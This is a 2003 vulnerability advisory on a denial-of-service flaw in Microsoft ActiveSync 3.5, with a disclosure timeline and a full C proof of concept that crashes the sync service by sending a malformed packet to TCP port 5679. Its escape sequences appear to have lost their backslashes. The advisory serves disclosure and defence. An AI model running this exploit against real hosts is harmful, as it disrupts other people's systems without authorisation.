Advisory 004
ActiveSync version 3.5 Denial of Service Vulnerability
Vulnerablity Type / Importance: Denial of Service / High
Problem discovered: November 26th 2002
Vendor contacted: November 26th 2002
Advisory published: March 20th 2003
Abstract:
"Microsoft ActiveSync allows you to create a partnership between your
mobile device and desktop computer using a cable, cradle, or infrared.
After you create a partnership, you can synchronize your data using a
modem or network (Ethernet) card if your device supports it. You can
also use your existing computer to connect to other resources through
ActiveSync." - quote from Microsoft ActiveSync help page.
The
service runs on TCP port 5679 and by connecting to this port and
sending a corrupted "sync request" packet the service can be crashed
thus causing Denial of Service.
Description:
By "pretending" to be an iPAQ and connecting to TCP port 5679, then
sending a corrupted "I would like to sync with you" packet, a NULL
pointer is dereferenced in a call to the function WideCharToMultiByte()
while it is trying to process an entry within the packet. This then
causes an application error, killing the "wcescomm" process.
The service must then be restarted manually to enable an iPAQ to re-sync.
Sample code to demonstrate the vulnerability is shown below:
/* iPAQ_Crash.c - by Andy Davis*/
/* Strictly for testing purposes only */
/* Compile with Microsoft VC++ */
#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#define ASYNC_PORT 5679
int main(int argc, char **argv)
{
unsigned char sendBuf[] =
/* Correct Header */
//"x00x00x00x00" /* Correct start of packet - by removing these 4 bytes the crash occurs */
"x6ex00x00x00" /* Length of the rest of the packet */
"x24x00x00x00"
"x03x00xa3x2b"
"x11x0ax00x00"
"x00x00x00x00"
"xc3x1dxddx0c" /* 0xc31ddd0c Device Identifier */
"x00x00x00x00"
"x24x00x00x00" /* 0x24 pointer to "Pocket_PC" */
"x38x00x00x00" /* 0x38 pointer to "PocketPC" */
"x4ax00x00x00" /* 0x4a pointer to "Compaq iPAQ H3800" */
/* "Pocket_PC PocketPC Compaq iPAQ H3800" (in unicode) */
"x50x00x6fx00x63x00x6bx00x65x00x74x00"
"x5fx00x50x00x43x00x00x00x50x00x6fx00x63x00x6bx00"
"x65x00x74x00x50x00x43x00x00x00x43x00x6fx00x6dx00"
"x70x00x61x00x71x00x20x00x69x00x50x00x41x00x51x00"
"x20x00x48x00x33x00x38x00x39x00x30x00x00x00";
struct sockaddr_in servAddr;
int s;
WSADATA WSAData;
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf("WSAStartup failed.n");
WSACleanup();
exit(1);
}
if (argc != 2)
{
printf ("niPAQ_Crashn");
printf ("nUsage: %s <target IP address>n",argv[0]);
exit (1);
}
servAddr.sin_family = AF_INET;
servAddr.sin_addr.s_addr = inet_addr(argv[1]);
servAddr.sin_port = htons(ASYNC_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *) &servAddr, sizeof(servAddr));
printf("Sending packet...");
if ( send(s, sendBuf, 118, 0) == 0)
{
printf("Error sending packet...quittingnn");
exit (0);
}
closesocket(s);
return(0);
}
Tested Versions:
ActiveSync version 3.5 (build 12007)
Tested Operating Systems:
Microsoft Windows 2000
Vendor & Patch Information:
The vendor of this product, Microsoft, was contacted via email using
the address "security@microsoft.com" on 26th November 2002, Microsoft
replied the following day to confirm receipt of the email. A second
email was sent on 7th January 2003 to the same address to request
information regarding the progress of any patch or workaround
information. Microsoft did not reply to this email and no further
correspondance has been received about the vulnerability.
Workarounds:
Unknown
Credits:
Research & Advisory: A Davis
Disclaimer:
All information in this advisory is provided on an 'as is' basis in the
hope that it will be useful. Information Risk Management Plc is not
responsible for any risks or occurrences caused by the application of
this information.